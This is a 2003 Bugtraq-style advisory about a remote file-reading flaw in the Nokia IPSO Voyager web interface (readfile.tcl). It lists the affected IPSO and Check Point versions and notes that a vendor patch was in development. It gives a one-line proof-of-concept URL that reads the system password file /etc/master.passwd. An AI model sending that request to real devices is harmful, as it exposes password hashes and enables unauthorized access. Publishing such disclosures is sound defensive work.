BID:7426

Nokia IPSO Voyager ReadFile.TCL Remote File Reading Vulnerability

Info

Nokia IPSO Voyager ReadFile.TCL Remote File Reading Vulnerability

Bugtraq ID:	7426
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 24 2003 12:00AM
Updated:	Apr 24 2003 12:00AM
Credit:	Discovery credited to Jonas Eriksson <[email protected]>.
Vulnerable:	Nokia IPSO 3.4.2 + Check Point Software Firewall-1 4.1 SP5 + Check Point Software Firewall-1 4.1 SP5 + Check Point Software Firewall-1 4.1 SP4 + Check Point Software Firewall-1 4.1 SP4 + Check Point Software Firewall-1 4.1 SP3 + Check Point Software Firewall-1 4.1 SP3 + Check Point Software Firewall-1 4.1 SP2 + Check Point Software Firewall-1 4.1 SP2 + Check Point Software Firewall-1 4.1 SP1 + Check Point Software Firewall-1 4.1 SP1 + Check Point Software Firewall-1 4.1 + Check Point Software Firewall-1 4.1 + Check Point Software Firewall-1 4.0 SP8 + Check Point Software Firewall-1 4.0 SP8 + Check Point Software Firewall-1 4.0 SP7 + Check Point Software Firewall-1 4.0 SP7 + Check Point Software Firewall-1 4.0 SP6 + Check Point Software Firewall-1 4.0 SP6 + Check Point Software Firewall-1 4.0 SP5 + Check Point Software Firewall-1 4.0 SP5 + Check Point Software Firewall-1 4.0 SP4 + Check Point Software Firewall-1 4.0 SP4 + Check Point Software Firewall-1 4.0 SP3 + Check Point Software Firewall-1 4.0 SP3 + Check Point Software Firewall-1 4.0 SP2 + Check Point Software Firewall-1 4.0 SP2 + Check Point Software Firewall-1 4.0 SP1 + Check Point Software Firewall-1 4.0 SP1 + Check Point Software Firewall-1 4.0 + Check Point Software Firewall-1 4.0 + Check Point Software VPN-1 4.1 SP4 + Check Point Software VPN-1 4.1 SP4 + Check Point Software VPN-1 4.1 SP3 + Check Point Software VPN-1 4.1 SP3 + Check Point Software VPN-1 4.1 SP2 + Check Point Software VPN-1 4.1 SP2 + Check Point Software VPN-1 4.1 SP1 + Check Point Software VPN-1 4.1 SP1 + Check Point Software VPN-1 4.1 + Check Point Software VPN-1 4.1 Nokia IPSO 3.4.1 + Check Point Software Firewall-1 4.1 SP5 + Check Point Software Firewall-1 4.1 SP5 + Check Point Software Firewall-1 4.1 SP4 + Check Point Software Firewall-1 4.1 SP4 + Check Point Software Firewall-1 4.1 SP3 + Check Point Software Firewall-1 4.1 SP3 + Check Point Software Firewall-1 4.1 SP2 + Check Point Software Firewall-1 4.1 SP2 + Check Point Software Firewall-1 4.1 SP1 + Check Point Software Firewall-1 4.1 SP1 + Check Point Software Firewall-1 4.1 + Check Point Software Firewall-1 4.1 + Check Point Software VPN-1 4.1 SP4 + Check Point Software VPN-1 4.1 SP4 + Check Point Software VPN-1 4.1 SP3 + Check Point Software VPN-1 4.1 SP3 + Check Point Software VPN-1 4.1 SP2 + Check Point Software VPN-1 4.1 SP2 + Check Point Software VPN-1 4.1 SP1 + Check Point Software VPN-1 4.1 SP1 + Check Point Software VPN-1 4.1 + Check Point Software VPN-1 4.1 Nokia IPSO 3.4 + Check Point Software Firewall-1 4.1 SP5 + Check Point Software Firewall-1 4.1 SP5 + Check Point Software Firewall-1 4.1 SP4 + Check Point Software Firewall-1 4.1 SP4 + Check Point Software Firewall-1 4.1 SP3 + Check Point Software Firewall-1 4.1 SP3 + Check Point Software Firewall-1 4.1 SP2 + Check Point Software Firewall-1 4.1 SP2 + Check Point Software Firewall-1 4.1 SP1 + Check Point Software Firewall-1 4.1 SP1 + Check Point Software Firewall-1 4.1 + Check Point Software Firewall-1 4.1 + Check Point Software VPN-1 4.1 SP4 + Check Point Software VPN-1 4.1 SP4 + Check Point Software VPN-1 4.1 SP3 + Check Point Software VPN-1 4.1 SP3 + Check Point Software VPN-1 4.1 SP2 + Check Point Software VPN-1 4.1 SP2 + Check Point Software VPN-1 4.1 SP1 + Check Point Software VPN-1 4.1 SP1 + Check Point Software VPN-1 4.1 + Check Point Software VPN-1 4.1 + Nokia IP380 + Nokia IP380 Nokia IPSO 3.3.1 + Check Point Software Firewall-1 4.1 SP5 + Check Point Software Firewall-1 4.1 SP5 + Check Point Software Firewall-1 4.1 SP4 + Check Point Software Firewall-1 4.1 SP4 + Check Point Software Firewall-1 4.1 SP3 + Check Point Software Firewall-1 4.1 SP3 + Check Point Software Firewall-1 4.1 SP2 + Check Point Software Firewall-1 4.1 SP2 + Check Point Software Firewall-1 4.1 SP1 + Check Point Software Firewall-1 4.1 SP1 + Check Point Software Firewall-1 4.1 + Check Point Software Firewall-1 4.1 + Check Point Software VPN-1 4.1 SP4 + Check Point Software VPN-1 4.1 SP4 + Check Point Software VPN-1 4.1 SP3 + Check Point Software VPN-1 4.1 SP3 + Check Point Software VPN-1 4.1 SP2 + Check Point Software VPN-1 4.1 SP2 + Check Point Software VPN-1 4.1 SP1 + Check Point Software VPN-1 4.1 SP1 + Check Point Software VPN-1 4.1 + Check Point Software VPN-1 4.1 Nokia IPSO 3.3 SP4 + Check Point Software Firewall-1 4.1 SP4 + Check Point Software Firewall-1 4.1 SP4 + Check Point Software Firewall-1 4.1 SP3 + Check Point Software Firewall-1 4.1 SP3 Nokia IPSO 3.3 SP3 + Check Point Software Firewall-1 4.1 SP3 + Check Point Software Firewall-1 4.1 SP3 + Check Point Software Firewall-1 4.1 SP2 + Check Point Software Firewall-1 4.1 SP2 Nokia IPSO 3.3 SP2 + Check Point Software Firewall-1 4.1 SP2 + Check Point Software Firewall-1 4.1 SP2 + Check Point Software Firewall-1 4.1 SP1 + Check Point Software Firewall-1 4.1 SP1 Nokia IPSO 3.3 SP1 + Check Point Software Firewall-1 4.1 SP1 + Check Point Software Firewall-1 4.1 SP1 Nokia IPSO 3.3 + Check Point Software Firewall-1 4.1 + Check Point Software Firewall-1 4.1 + Check Point Software VPN-1 4.1 + Check Point Software VPN-1 4.1

Not Vulnerable:

Discussion

Nokia IPSO Voyager ReadFile.TCL Remote File Reading Vulnerability

It has been reported that Nokia IPSO does not properly handle some types of requests through Voyager. Because of this, an attacker with access to the interface may be able to view potentially sensitive information.

Exploit / POC

Nokia IPSO Voyager ReadFile.TCL Remote File Reading Vulnerability

This vulnerability may be exploited with a web browser. The following proof of concept was made available by Jonas Eriksson <[email protected]>:

http://www.example.com/cgi-bin/readfile.tcl?file=/etc/master.passwd

Solution / Fix

Nokia IPSO Voyager ReadFile.TCL Remote File Reading Vulnerability

Solution:
The vendor has stated that a patch is currently in development.
-----
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

Nokia IPSO Voyager ReadFile.TCL Remote File Reading Vulnerability

References:

Nokia Homepage (Nokia)
Nokia IPSO Vulnerability (Jonas Eriksson )
RE: Nokia IPSO Vulnerability ("Jorge Merlino" )
Re: Nokia IPSO Vulnerability (Damieon Stark )
Re: Nokia IPSO Vulnerability (Shawn Duffy)
RE: Nokia IPSO Vulnerability ()
RE: Nokia IPSO Vulnerability ("Miller, Rick" )
Re: Nokia IPSO Vulnerability (Damieon Stark )